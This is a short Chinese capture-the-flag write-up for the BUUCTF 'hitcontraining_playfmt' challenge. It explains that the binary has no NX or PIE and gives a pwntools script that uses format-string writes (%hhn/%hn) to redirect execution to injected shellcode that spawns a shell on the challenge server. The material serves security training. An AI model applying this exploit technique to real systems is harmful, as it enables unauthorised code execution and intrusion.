BUU-hitcontraining_playfmt-WP
在看这篇WP前,如果你不了解堆上的格式化字符串的利用方法,建议你先看一下这一篇WP。
这道题和xman_2019_format这题基本没什么差别,就是没了原来的后门函数,但是这题没开NX,所以我们可以注入shellcode然后retrun到那里就可以了。程序也没有开启PIE,那么shellcode在的位置就是

buf所在的位置
from pwn import *
context(log_level = 'debug',os = 'linux',arch = 'i386')
shellcode = asm(shellcraft.sh())
while 1:
#sh = process("./playfmt")
sh = remote("node3.buuoj.cn","26226")
payload = "%12c" + "%6$hhn"
sh.recvuntil("=\n")
sh.sendlineafter("=\n",payload)
payload = "%41069c" + "%10$hn" + shellcode
#由于我这里一起注入了shellcode,所以输出的字符数是0xA060+13
sh.sendline(payload)
sh.sendline('quit')
try:
┊ sh.sendline("echo pwned")
┊ sh.recvuntil("pwned")
┊ sh.interactive()
┊ break;
except:
┊ sh.close()